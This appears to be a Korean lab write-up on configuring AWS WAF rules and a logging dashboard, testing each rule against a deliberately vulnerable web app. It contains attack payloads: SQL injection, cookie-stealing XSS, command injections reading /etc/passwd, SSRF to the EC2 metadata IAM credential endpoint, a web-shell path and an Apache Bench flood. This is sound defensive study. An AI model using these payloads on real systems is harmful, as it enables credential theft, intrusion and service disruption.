| filter (@message like 'excludedRules":[{"exclusionType":"EXCLUDED_AS_COUNT","ruleId":"NoUserAgent_HEADER"}]}' and @message like 'terminatingRuleId":"Default_Action"')
| parse @message '"ruleId":*}]}' as ruleMatchDetails
| display @timestamp, httpRequest.clientIp, httpRequest.country, ruleMatchDetails, httpRequest.requestId
| limit 10

AWS WAF 로깅 대시보드 설정 with CloudFormation – 링크 Github

https://console.aws.amazon.com/cloudformation/home#/stacks/create/review?stackName=WAF-Dashboard&templateURL=https://s3.amazonaws.com/ytkoka-resources/CloudWatch-Dashboard-for-AWS-WAF/cw-waf-dashboard-regional.yaml

해당 링크 클릭후 생성 해주시면 됩니다.

생성 후 시간이 지나면 아래와 같이 복잡한 설정없이 쉽고 한번에 여러 정보를 확인 할수 있습니다. (쿼리를 이용하여 조회하기 때문에 비용발생 합니다)

AWS WAF web ACL 정책 설정 : 사용자 정의 규칙 – 링크

AWS WAF web ACL 정책 설정 : 사용자 정의 규칙 – 링크

AWS WAF web ACL 정책 설정 : 사용자 정의 규칙 – 링크

  1. SQL Injection 공격 방어 : web ACL에 Rule 설정 후 공격 시도 확인 – 링크
    • Rules → Add my own rules and rule groups : Rule builder – Name(SQL_Injection) ⇒ 링크 내용 참고하여 설정
      • AWS WAF의 SQL Injection 규칙 문에 대해 Sensitivity levels를 설정 – 링크
' OR 1=1 #

ㄴ설정 이미지 입니다.

차단 확인

  1. Reflected XSS 공격 방어링크
    • Rules → Add my own rules and rule groups : Rule builder – Name(Reflected_XSS) ⇒ 링크 내용 참고하여 설정
: <script>alert(document.cookie)</script>

  1. Stored XSS 공격 방어 – 링크
    • Rules → Add my own rules and rule groups : Rule builder – Name(Stored_XSS) ⇒ 링크 내용 참고하여 설정
    • Name 부분에는 admin 을 입력하고 Message 부분에는 아래의 XSS 코드를 입력한 후 Sign Guestbook 버튼을 클릭
: <script>alert(document.cookie)</script>

4. Command Injection 공격 방어 – 링크

  • Rules → Add my own rules and rule groups : Rule builder – Name(Command_Injection) ⇒ 링크 내용 참고하여 설정
    • matches all the statements (AND) 설정!
1.1.1.1 && cat /etc/passwd
1.1.1.1 ; whoami
8.8.8.8 ; curl -s http://169.254.169.254/latest/meta-data/iam/

5. File Upload 후 Backdoor 공격 방어 – 링크

  • Rules → Add my own rules and rule groups : Rule builder – Name(XXE) ⇒ 링크 내용 참고하여 설정
  • ALB 도메인의 아래 PATH 링크로 접속 → 차단 동작 확인
http://{{ALB DNS Name}}/hackable/uploads/phpbash.php
  • 차단 규칙을 Count 모드 변경 : Action(Count)로 변경 ⇒ 위 접속 후 3~5분 정도 후 요청 로그 확인

6. SSRF 공격 방어 – 링크

  • Rules → Add my own rules and rule groups : Rule builder – Name(SSRF) ⇒ 링크 내용 참고하여 설정
    • matches all the statements (AND) → 두번째는 조건에서 Negate statement results 는 Uncheck 임(그림 오타)
  • IMDS 자격증명 확인
http://<ALB 도메인 주소>/vulnerabilities/fi/?page=http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole

# 복붙 메모
http://my-alb-211943928.ap-northeast-2.elb.amazonaws.com/vulnerabilities/fi/?page=http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole

7. 무차별 입력 공격 방어 – 링크

  • Rules → Add my own rules and rule groups : Rule builder – Name(Brute_Force) ⇒ 링크 내용 참고하여 설정
  • Rate-based rule 선택 : Rate limit(100), Source IP Address, Only condider requests that match the criteria in a rule statement
    • matches all(AND), 첫번쨰 조건(about.php), 두번쨰 조건‘Negate’ Uncheck(그림 오타) GET, Action(CAPTCHA, time 60)
  • 크롬 브라우저에서 로그인 후 아래 사이트에서 새로고침 110번 정도 시도 → CAPTCHA 창 확인
http://<ALB>/about.php

8. GET Flooding 공격 방어 – 링크

  • Rules → Add my own rules and rule groups : Rule builder – Name(GET_Flooding) ⇒ 링크 내용 참고하여 설정
  • Rate-based rule 선택 : Rate limit(100), Source IP Address, Only condider requests that match the criteria in a rule statement
    • URI Path 의 String to match 에 /vulnerabilities/weak_id 입력(링크와 다름)
  • Attacker EC2
# apache bench 툴로 총 10000000 요청 전송 
ab -n 10000000 -c 10 <alb>/vulnerabilities/weak_id/

AWS WAF web ACL 정책 설정 : 관리형 규칙 – 링크

https://youtu.be/r84IuPv_4TI?si=YdtsBWnDnvmleoiF&t=976

  • VPN, Tor, Proxy IP 사용자 차단 설정 : Add managed rule groups → AWS managed rule groups : Anonymous IP list
    • AWS WAF 익명 IP 목록 관리 규칙 HostingProviderIPList가 AWS IP를 차단하는지 확인
  • Browsec VPN 에서 다른 국가로 설정 후 접속 시도 해보자

ㄴ확인

위로 스크롤